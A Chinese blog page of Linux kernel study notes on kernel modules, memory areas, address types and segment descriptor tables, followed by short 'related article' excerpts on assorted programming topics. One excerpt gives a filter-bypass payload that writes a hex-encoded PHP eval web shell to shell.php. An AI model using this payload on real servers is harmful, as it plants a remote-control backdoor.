linux kernal note

news/2024/4/30 9:37:05/文章来源:https://www.cnblogs.com/EeiKo/p/16610083.html

linux kernal note

内核体系结构

内核由五个模块构成

进程调度模块(核心)

内存管理模块

文件系统模块

进程间通信模块

网络接口模块

 

内存管理

内存条分区

内存分为以下几个功能模块:从前到后为内核模块、高速缓存区(包含显存和BIOS ROM)、虚拟盘、主内存区。linux分页分段管理可以选择,由系统程序员通过编程来确定是否采用。

 

 

高速缓存区:供硬盘或软盘等块设备使用的高速缓冲区部分(其中要扣除显示卡内存和ROM BIOS所占内存640KB-1MB),当一个进程需要读取块设备中的数据时,系统会首先把数据读到高速缓冲区中。当有设备要写入块设备时,系统同样先写到高速缓冲区中,然后再由块设备驱动程序写到相应设备上。

主内存区:放内核程序。

 

几种地址的区分

虚拟地址:由段选择符和段内偏移地址两部分组成的地址。通过分段地址变换映射到真实物理地址。

 

逻辑地址:是指由程序产生的与段相关的偏移地址部分。即偏移地址,因为分页分段机制对应用级程序员是完全不可见的,所以只需要考虑逻辑地址即可。

 

CPU线性地址:虚拟地址到物理地址变换之间的中间层,是处理器可寻址的内存空间中的地址。即偏移地址加上基地址。(和虚拟地址不同的在于线性地址是两个相加,虚拟地址是两个的组合)

 

实际物理内存地址:内存的寻址线对应的真实地址。

 

内存分段机制

由逻辑地址到线性地址的映射

 

 

 

 

 

 

实模式和保护模式下的寻址方式不同点

  实模式下段寄存器存放的是基地址

  保护模式下存放的是基地址的索引值,索引到描述符表,表中记录了访问特权级别等信息,如果不在表中则不能被寻址

 

 

   每个描述符占用8个字节,其中含有所描述段在线性地址空间中的起始地址、段的长度、段的类型、段的特权级别和其他一些信息。一个段可以定义的最大长度是4GB。

  描述符表有3种类型,每种用于不同目的。全局描述符表GDT是主要的基本描述符表,该表可被所有程序用于引用访问一个内存段。中断描述符表IDT保存有定义中断或异常处理的段描述符(类似中断向量?)。这两个表是必须的。最后一个表是局部描述符表LDT。该表应用于多任务系统中。通常每个任务使用一个LDT表。作为对GDT表的扩充。

  这些表可以保存在线性地址空间的任何地方。CPU找到这三个表的方式是设置GDTR、IDTR、LDTR三个特殊寄存器。这些寄存器中将存储对应表的32位线性基地址和表的限长字节值。表限长值是表的长度值-1。

  当CPU要寻址一个段时,就会使用16位的段寄存器中的选择符来定位一个段描述符。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2414.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hadoop及其三大组件原理

Hadoop是什么? 由Apache基金会开发的分布式系统基础架构 海量数据的存储和分析计算 Hadoop架构历史: 1.0 HDFS和MapReduce 2.0 在1.0基础上增加了YARN(任务调度),解放了MapReduce 3.0 和2.0类似,着重优化 Hadoop优势: 1)高可靠性 多数据副本 2)高扩展性 动态扩展,动态…

Java 断点下载(下载续传)服务端及客户端(Android)代码

原文: Java 断点下载(下载续传)服务端及客户端(Android)代码 - Stars-One的杂货小窝最近在研究断点下载(下载续传)的功能,此功能需要服务端和客户端进行对接编写,本篇也是记录一下关于贴上关于实现服务端(Spring Boot)与客户端(Android)是如何实现下载续传功能 断点下载功能(…

深入flex 中align-items属性

设置外层盒子flex 显示宽度为自己盒子本身宽度 高度被拉高整个盒子设置为垂直方向的对齐方式 align-items:flex-start 盒子不将被拉伸 显示元素本身的高度align-items:center 盒子不将被拉伸 显示元素本身的高度align-items:stretch 元素拉伸

软件测试入门三(软件bug)

一、什么是软件bug 一个手机,如果他的屏幕碎了、裂了,拐角磕碰瑕疵,这些都是手机的缺陷。 软件就好比这款手机,出现了各种各样的问题,就是软件的bug(缺陷) 软件在测试过程中发现的bug,属于正常情况,因为能够在测试过程中被发现得到修改,如果bug出现在线上,就是线上事…

Activiti可视化流程管理器

1.简介 Activiti是一个业务流程管理(BPM)框架,它是覆盖了业务流程管理,工作流,服务协作等领域的一个开源,灵活的,易扩展的可执行流程语言框架。在Java工作流引擎中可谓是主流,我们的项目也是使用的这个框架进行流程相关的开发。与流程息息相关的就是我们的流程定义BPMN文件…

函数式接口-常见函数式接口-Supplier接口

常见函数式接口Supplier接口: java.util.function.Supplier<T>接口仅包含一个无参的方法:T get()。用来获取一个泛型参数指定类型的对象数据。Supplier<T>接口被称之为生产型接口,指定接口的泛型是什么类型,那么接口中的get方法就会生产什么类型的数据 代码:p…

CF(div2)816 A~C

A Crossmarket思维 矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好/** |~~~~~~~|* | |* | |* | |*…

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…

Java核心知识体系4:AOP原理和切面应用

1 概述 我们所说的Aop(即面向切面编程),即面向接口,也面向方法,在基于IOC的基础上实现。 Aop最大的特点是对指定的方法进行拦截并增强,这种增强的方式不需要业务代码进行调整,无需侵入到业务代码中,使业务与非业务处理逻辑分离。 以Spring举例,通过事务的注解配置,Sp…